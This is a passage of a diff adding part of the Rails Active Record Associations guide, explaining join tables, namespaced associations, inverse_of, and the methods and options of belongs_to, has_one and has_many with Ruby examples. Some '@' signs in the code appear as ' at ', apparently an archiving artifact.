+If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
+
+WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper\_boxes" and "papers" to generate a join table name of "papers\_paper\_boxes" because of the length of the name "paper\_boxes", but it in  [...]
+
+Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
+
+```ruby
+class Assembly < ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+```
+
+These need to be backed up by a migration to create the `assemblies_parts` table. This table should be created without a primary key:
+
+```ruby
+class CreateAssembliesPartsJoinTable < ActiveRecord::Migration
+  def change
+    create_table :assemblies_parts, id: false do |t|
+      t.integer :assembly_id
+      t.integer :part_id
+    end
+  end
+end
+```
+
+We pass `id: false` to `create_table` because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a `has_and_belongs_to_many` association like mangled models IDs, or exceptions about conflicting IDs, chances are you forgot that bit.
+
+### Controlling Association Scope
+
+By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
+
+```ruby
+module MyApplication
+  module Business
+    class Supplier < ActiveRecord::Base
+       has_one :account
+    end
+
+    class Account < ActiveRecord::Base
+       belongs_to :supplier
+    end
+  end
+end
+```
+
+This will work fine, because both the `Supplier` and the `Account` class are defined within the same scope. But the following will _not_ work, because `Supplier` and `Account` are defined in different scopes:
+
+```ruby
+module MyApplication
+  module Business
+    class Supplier < ActiveRecord::Base
+       has_one :account
+    end
+  end
+
+  module Billing
+    class Account < ActiveRecord::Base
+       belongs_to :supplier
+    end
+  end
+end
+```
+
+To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:
+
+```ruby
+module MyApplication
+  module Business
+    class Supplier < ActiveRecord::Base
+       has_one :account,
+        class_name: "MyApplication::Billing::Account"
+    end
+  end
+
+  module Billing
+    class Account < ActiveRecord::Base
+       belongs_to :supplier,
+        class_name: "MyApplication::Business::Supplier"
+    end
+  end
+end
+```
+
+### Bi-directional Associations
+
+It's normal for associations to work in two directions, requiring declaration on two different models:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+```
+
+By default, Active Record doesn't know about the connection between these associations. This can lead to two copies of an object getting out of sync:
+
+```ruby
+c = Customer.first
+o = c.orders.first
+c.first_name == o.customer.first_name # => true
+c.first_name = 'Manny'
+c.first_name == o.customer.first_name # => false
+```
+
+This happens because c and o.customer are two different in-memory representations of the same data, and neither one is automatically refreshed from changes to the other. Active Record provides the `:inverse_of` option so that you can inform it of these relations:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders, inverse_of: :customer
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer, inverse_of: :orders
+end
+```
+
+With these changes, Active Record will only load one copy of the customer object, preventing inconsistencies and making your application more efficient:
+
+```ruby
+c = Customer.first
+o = c.orders.first
+c.first_name == o.customer.first_name # => true
+c.first_name = 'Manny'
+c.first_name == o.customer.first_name # => true
+```
+
+There are a few limitations to `inverse_of` support:
+
+* They do not work with `:through` associations.
+* They do not work with `:polymorphic` associations.
+* They do not work with `:as` associations.
+* For `belongs_to` associations, `has_many` inverse associations are ignored.
+
+Every association will attempt to automatically find the inverse association
+and set the `:inverse_of` option heuristically (based on the association name).
+Most associations with standard names will be supported. However, associations
+that contain the following options will not have their inverses set
+automatically:
+
+* :conditions
+* :through
+* :polymorphic
+* :foreign_key
+
+Detailed Association Reference
+------------------------------
+
+The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
+
+### `belongs_to` Association Reference
+
+The `belongs_to` association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use `has_one` instead.
+
+#### Methods Added by `belongs_to`
+
+When you declare a `belongs_to` association, the declaring class automatically gains five methods related to the association:
+
+* `association(force_reload = false)`
+* `association=(associate)`
+* `build_association(attributes = {})`
+* `create_association(attributes = {})`
+* `create_association!(attributes = {})`
+
+In all of these methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration:
+
+```ruby
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+```
+
+Each instance of the order model will have these methods:
+
+```ruby
+customer
+customer=
+build_customer
+create_customer
+create_customer!
+```
+
+NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
+
+##### `association(force_reload = false)`
+
+The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.
+
+```ruby
+ at customer = @order.customer
+```
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass `true` as the `force_reload` argument.
+
+##### `association=(associate)`
+
+The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
+
+```ruby
+ at order.customer = @customer
+```
+
+##### `build_association(attributes = {})`
+
+The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
+
+```ruby
+ at customer = @order.build_customer(customer_number: 123,
+                                  customer_name: "John Doe")
+```
+
+##### `create_association(attributes = {})`
+
+The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+ at customer = @order.create_customer(customer_number: 123,
+                                   customer_name: "John Doe")
+```
+
+##### `create_association!(attributes = {})`
+
+Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+
+
+#### Options for `belongs_to`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `belongs_to` association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this association uses two such options:
+
+```ruby
+class Order < ActiveRecord::Base
+  belongs_to :customer, dependent: :destroy,
+    counter_cache: true
+end
+```
+
+The `belongs_to` association supports these options:
+
+* `:autosave`
+* `:class_name`
+* `:counter_cache`
+* `:dependent`
+* `:foreign_key`
+* `:inverse_of`
+* `:polymorphic`
+* `:touch`
+* `:validate`
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is `Patron`, you'd set things up this way:
+
+```ruby
+class Order < ActiveRecord::Base
+  belongs_to :customer, class_name: "Patron"
+end
+```
+
+##### `:counter_cache`
+
+The `:counter_cache` option can be used to make finding the number of belonging objects more efficient. Consider these models:
+
+```ruby
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+```
+
+With these declarations, asking for the value of `@customer.orders.size` requires making a call to the database to perform a `COUNT(*)` query. To avoid this call, you can add a counter cache to the _belonging_ model:
+
+```ruby
+class Order < ActiveRecord::Base
+  belongs_to :customer, counter_cache: true
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+```
+
+With this declaration, Rails will keep the cache value up to date, and then return that value in response to the `size` method.
+
+Although the `:counter_cache` option is specified on the model that includes the `belongs_to` declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named `orders_count` to the `Customer` model. You can override the default column name if you need to:
+
+```ruby
+class Order < ActiveRecord::Base
+  belongs_to :customer, counter_cache: :count_of_orders
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+```
+
+Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`.
+
+##### `:dependent`
+If you set the `:dependent` option to:
+
+* `:destroy`, when the object is destroyed, `destroy` will be called on its
+associated objects.
+* `:delete`, when the object is destroyed, all its associated objects will be
+deleted directly from the database without calling their `destroy` method.
+
+WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database.
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class Order < ActiveRecord::Base
+  belongs_to :customer, class_name: "Patron",
+                        foreign_key: "patron_id"
+end
+```
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+##### `:inverse_of`
+
+The `:inverse_of` option specifies the name of the `has_many` or `has_one` association that is the inverse of this association. Does not work in combination with the `:polymorphic` options.
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders, inverse_of: :customer
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer, inverse_of: :orders
+end
+```
+
+##### `:polymorphic`
+
+Passing `true` to the `:polymorphic` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
+
+##### `:touch`
+
+If you set the `:touch` option to `:true`, then the `updated_at` or `updated_on` timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:
+
+```ruby
+class Order < ActiveRecord::Base
+  belongs_to :customer, touch: true
+end
+
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+```
+
+In this case, saving or destroying an order will update the timestamp on the associated customer. You can also specify a particular timestamp attribute to update:
+
+```ruby
+class Order < ActiveRecord::Base
+  belongs_to :customer, touch: :orders_updated_at
+end
+```
+
+##### `:validate`
+
+If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved.
+
+#### Scopes for `belongs_to`
+
+There may be times when you wish to customize the query used by `belongs_to`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Order < ActiveRecord::Base
+  belongs_to :customer, -> { where active: true },
+                        dependent: :destroy
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `includes`
+* `readonly`
+* `select`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Order < ActiveRecord::Base
+  belongs_to :customer, -> { where active: true }
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+```ruby
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+```
+
+If you frequently retrieve customers directly from line items (`@line_item.order.customer`), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
+
+```ruby
+class LineItem < ActiveRecord::Base
+  belongs_to :order, -> { includes :customer }
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+```
+
+NOTE: There's no need to use `includes` for immediate associations - that is, if you have `Order belongs_to :customer`, then the customer is eager-loaded automatically when it's needed.
+
+##### `readonly`
+
+If you use `readonly`, then the associated object will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+TIP: If you use the `select` method on a `belongs_to` association, you should also set the `:foreign_key` option to guarantee the correct results.
+
+#### Do Any Associated Objects Exist?
+
+You can see if any associated objects exist by using the `association.nil?` method:
+
+```ruby
+if @order.customer.nil?
+  @msg = "No customer found for this order"
+end
+```
+
+#### When are Objects Saved?
+
+Assigning an object to a `belongs_to` association does _not_ automatically save the object. It does not save the associated object either.
+
+### `has_one` Association Reference
+
+The `has_one` association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use `belongs_to` instead.
+
+#### Methods Added by `has_one`
+
+When you declare a `has_one` association, the declaring class automatically gains five methods related to the association:
+
+* `association(force_reload = false)`
+* `association=(associate)`
+* `build_association(attributes = {})`
+* `create_association(attributes = {})`
+* `create_association!(attributes = {})`
+
+In all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration:
+
+```ruby
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+```
+
+Each instance of the `Supplier` model will have these methods:
+
+```ruby
+account
+account=
+build_account
+create_account
+create_account!
+```
+
+NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
+
+##### `association(force_reload = false)`
+
+The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.
+
+```ruby
+ at account = @supplier.account
+```
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass `true` as the `force_reload` argument.
+
+##### `association=(associate)`
+
+The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
+
+```ruby
+ at supplier.account = @account
+```
+
+##### `build_association(attributes = {})`
+
+The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
+
+```ruby
+ at account = @supplier.build_account(terms: "Net 30")
+```
+
+##### `create_association(attributes = {})`
+
+The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+ at account = @supplier.create_account(terms: "Net 30")
+```
+
+##### `create_association!(attributes = {})`
+
+Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+
+#### Options for `has_one`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_one` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
+
+```ruby
+class Supplier < ActiveRecord::Base
+  has_one :account, class_name: "Billing", dependent: :nullify
+end
+```
+
+The `has_one` association supports these options:
+
+* `:as`
+* `:autosave`
+* `:class_name`
+* `:dependent`
+* `:foreign_key`
+* `:inverse_of`
+* `:primary_key`
+* `:source`
+* `:source_type`
+* `:through`
+* `:validate`
+
+##### `:as`
+
+Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is `Billing`, you'd set things up this way:
+
+```ruby
+class Supplier < ActiveRecord::Base
+  has_one :account, class_name: "Billing"
+end
+```
+
+##### `:dependent`
+
+Controls what happens to the associated object when its owner is destroyed:
+
+* `:destroy` causes the associated object to also be destroyed
+* `:delete` causes the associated object to be deleted directly from the database (so callbacks will not execute)
+* `:nullify` causes the foreign key to be set to `NULL`. Callbacks are not executed.
+* `:restrict_with_exception` causes an exception to be raised if there is an associated record
+* `:restrict_with_error` causes an error to be added to the owner if there is an associated object
+
+It's necessary not to set or leave `:nullify` option for those associations
+that have `NOT NULL` database constraints. If you don't set `dependent` to
+destroy such associations you won't be able to change the associated object
+because initial associated object foreign key will be set to unallowed `NULL`
+value.
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class Supplier < ActiveRecord::Base
+  has_one :account, foreign_key: "supp_id"
+end
+```
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+##### `:inverse_of`
+
+The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.
+
+```ruby
+class Supplier < ActiveRecord::Base
+  has_one :account, inverse_of: :supplier
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier, inverse_of: :account
+end
+```
+
+##### `:primary_key`
+
+By convention, Rails assumes that the column used to hold the primary key of this model is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option.
+
+##### `:source`
+
+The `:source` option specifies the source association name for a `has_one :through` association.
+
+##### `:source_type`
+
+The `:source_type` option specifies the source association type for a `has_one :through` association that proceeds through a polymorphic association.
+
+##### `:through`
+
+The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail <a href="#the-has-one-through-association">earlier in this guide</a>.
+
+##### `:validate`
+
+If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved.
+
+#### Scopes for `has_one`
+
+There may be times when you wish to customize the query used by `has_one`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Supplier < ActiveRecord::Base
+  has_one :account, -> { where active: true }
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `includes`
+* `readonly`
+* `select`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Supplier < ActiveRecord::Base
+  has_one :account, -> { where "confirmed = 1" }
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+```ruby
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+  belongs_to :representative
+end
+
+class Representative < ActiveRecord::Base
+  has_many :accounts
+end
+```
+
+If you frequently retrieve representatives directly from suppliers (`@supplier.account.representative`), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
+
+```ruby
+class Supplier < ActiveRecord::Base
+  has_one :account, -> { includes :representative }
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+  belongs_to :representative
+end
+
+class Representative < ActiveRecord::Base
+  has_many :accounts
+end
+```
+
+##### `readonly`
+
+If you use the `readonly` method, then the associated object will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+#### Do Any Associated Objects Exist?
+
+You can see if any associated objects exist by using the `association.nil?` method:
+
+```ruby
+if @supplier.account.nil?
+  @msg = "No account found for this supplier"
+end
+```
+
+#### When are Objects Saved?
+
+When you assign an object to a `has_one` association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
+
+If either of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_one` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved. They will automatically when the parent object is saved.
+
+If you want to assign an object to a `has_one` association without saving the object, use the `association.build` method.
+
+### `has_many` Association Reference
+
+The `has_many` association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
+
+#### Methods Added by `has_many`
+
+When you declare a `has_many` association, the declaring class automatically gains 16 methods related to the association:
+
+* `collection(force_reload = false)`
+* `collection<<(object, ...)`
+* `collection.delete(object, ...)`
+* `collection.destroy(object, ...)`
+* `collection=objects`
+* `collection_singular_ids`
+* `collection_singular_ids=ids`
+* `collection.clear`
+* `collection.empty?`
+* `collection.size`
+* `collection.find(...)`
+* `collection.where(...)`
+* `collection.exists?(...)`
+* `collection.build(attributes = {}, ...)`
+* `collection.create(attributes = {})`
+* `collection.create!(attributes = {})`
+
+In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+```
+
+Each instance of the customer model will have these methods:
+
+```ruby
+orders(force_reload = false)
+orders<<(object, ...)
+orders.delete(object, ...)
+orders.destroy(object, ...)
+orders=objects
+order_ids
+order_ids=ids
+orders.clear
+orders.empty?
+orders.size
+orders.find(...)
+orders.where(...)
+orders.exists?(...)
+orders.build(attributes = {}, ...)
+orders.create(attributes = {})
+orders.create!(attributes = {})
+```
+
+##### `collection(force_reload = false)`
+
+The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+```ruby
+ at orders = @customer.orders
+```
+
+##### `collection<<(object, ...)`
+
+The `collection<<` method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
+
+```ruby
+ at customer.orders << @order1
+```
+
+##### `collection.delete(object, ...)`
+
+The `collection.delete` method removes one or more objects from the collection by setting their foreign keys to `NULL`.
+
+```ruby
+ at customer.orders.delete(@order1)
+```
+
+WARNING: Additionally, objects will be destroyed if they're associated with `dependent: :destroy`, and deleted if they're associated with `dependent: :delete_all`.
+
+##### `collection.destroy(object, ...)`
+
+The `collection.destroy` method removes one or more objects from the collection by running `destroy` on each object.
+
+```ruby
+ at customer.orders.destroy(@order1)
+```
+
+WARNING: Objects will _always_ be removed from the database, ignoring the `:dependent` option.
+
+##### `collection=objects`
+
+The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
+##### `collection_singular_ids`
+
+The `collection_singular_ids` method returns an array of the ids of the objects in the collection.
+
+```ruby
+ at order_ids = @customer.order_ids
+```
+
+##### `collection_singular_ids=ids`
+
+The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
+##### `collection.clear`
+
+The `collection.clear` method removes every object from the collection. This destroys the associated objects if they are associated with `dependent: :destroy`, deletes them directly from the database if `dependent: :delete_all`, and otherwise sets their foreign keys to `NULL`.
+
+##### `collection.empty?`
+
+The `collection.empty?` method returns `true` if the collection does not contain any associated objects.
+
+```erb
+<% if @customer.orders.empty? %>
+  No Orders Found
+<% end %>
+```
+
+##### `collection.size`
+
+The `collection.size` method returns the number of objects in the collection.
+
+```ruby
+ at order_count = @customer.orders.size
+```
+
+##### `collection.find(...)`
+
+The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`.
+
+```ruby
+ at open_orders = @customer.orders.find(1)
+```
+
+##### `collection.where(...)`
+
+The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.
+
+```ruby
+ at open_orders = @customer.orders.where(open: true) # No query yet
+ at open_order = @open_orders.first # Now the database will be queried
+```
+
+##### `collection.exists?(...)`
+
+The `collection.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`.
+
+##### `collection.build(attributes = {}, ...)`
+
+The `collection.build` method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
+
+```ruby
+ at order = @customer.orders.build(order_date: Time.now,
+                                order_number: "A12345")
+```
+
+##### `collection.create(attributes = {})`
+
+The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+ at order = @customer.orders.create(order_date: Time.now,
+                                 order_number: "A12345")
+```
+
+##### `collection.create!(attributes = {})`
+
+Does the same as `collection.create` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+
+#### Options for `has_many`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders, dependent: :delete_all, validate: :false
+end
+```
+
+The `has_many` association supports these options:
+
+* `:as`
+* `:autosave`
+* `:class_name`
+* `:dependent`
+* `:foreign_key`
+* `:inverse_of`
+* `:primary_key`
+* `:source`
+* `:source_type`
+* `:through`
+* `:validate`
+
+##### `:as`
+
+Setting the `:as` option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>.
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is `Transaction`, you'd set things up this way:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders, class_name: "Transaction"
+end
+```
+
+##### `:dependent`
+
+Controls what happens to the associated objects when their owner is destroyed:
+
+* `:destroy` causes all the associated objects to also be destroyed
+* `:delete_all` causes all the associated objects to be deleted directly from the database (so callbacks will not execute)
+* `:nullify` causes the foreign keys to be set to `NULL`. Callbacks are not executed.
+* `:restrict_with_exception` causes an exception to be raised if there are any associated records
+* `:restrict_with_error` causes an error to be added to the owner if there are any associated objects
+
+NOTE: This option is ignored when you use the `:through` option on the association.
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders, foreign_key: "cust_id"
+end
+```
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+##### `:inverse_of`
+
+The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders, inverse_of: :customer
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer, inverse_of: :orders
+end
+```
+
+##### `:primary_key`
+
+By convention, Rails assumes that the column used to hold the primary key of the association is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option.
+
+Let's say that `users` table has `id` as the primary_key but it also has
+`guid` column. And the requirement is that `todos` table should hold
+`guid` column value and not `id` value. This can be achieved like this
+
+```ruby
+class User < ActiveRecord::Base
+  has_many :todos, primary_key: :guid
+end
+```
+
+Now if we execute `@user.todos.create` then `@todo` record will have
+`user_id` value as the `guid` value of `@user`.
+
+
+##### `:source`
+
+The `:source` option specifies the source association name for a `has_many :through` association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
+
+##### `:source_type`
+
+The `:source_type` option specifies the source association type for a `has_many :through` association that proceeds through a polymorphic association.
+
+##### `:through`
+
+The `:through` option specifies a join model through which to perform the query. `has_many :through` associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has-many-through-association">earlier in this guide</a>.
+
+##### `:validate`
+
+If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved.
+
+#### Scopes for `has_many`
+
+There may be times when you wish to customize the query used by `has_many`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders, -> { where processed: true }
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `extending`
+* `group`
+* `includes`
+* `limit`
+* `offset`
+* `order`
+* `readonly`
+* `select`
+* `uniq`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :confirmed_orders, -> { where "confirmed = 1" },
+    class_name: "Order"
+end
+```
+
+You can also set conditions via a hash:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :confirmed_orders, -> { where confirmed: true },
+                              class_name: "Order"
+end
+```
+
+If you use a hash-style `where` option, then record creation via this association will be automatically scoped using the hash. In this case, using `@customer.confirmed_orders.create` or `@customer.confirmed_orders.build` will create orders where the confirmed column has the value `true`.
+
+##### `extending`
+
+The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
+
+##### `group`
+
+The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL.
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :line_items, -> { group 'orders.id' },
+                        through: :orders
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+end
+```
+
+If you frequently retrieve line items directly from customers (`@customer.orders.line_items`), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders, -> { includes :line_items }
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+end
+```
+
+##### `limit`
+
+The `limit` method lets you restrict the total number of objects that will be fetched through an association.
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :recent_orders,
+    -> { order('order_date desc').limit(100) },
+    class_name: "Order",
+end
+```
+
+##### `offset`
+
+The `offset` method lets you specify the starting offset for fetching objects via an association. For example, `-> { offset(11) }` will skip the first 11 records.
+
+##### `order`
+
+The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause).
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders, -> { order "date_confirmed DESC" }
+end
+```
+
+##### `readonly`
+
+If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+WARNING: If you specify your own `select`, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
+
+##### `distinct`
+
+Use the `distinct` method to keep the collection free of duplicates. This is
+mostly useful together with the `:through` option.
+
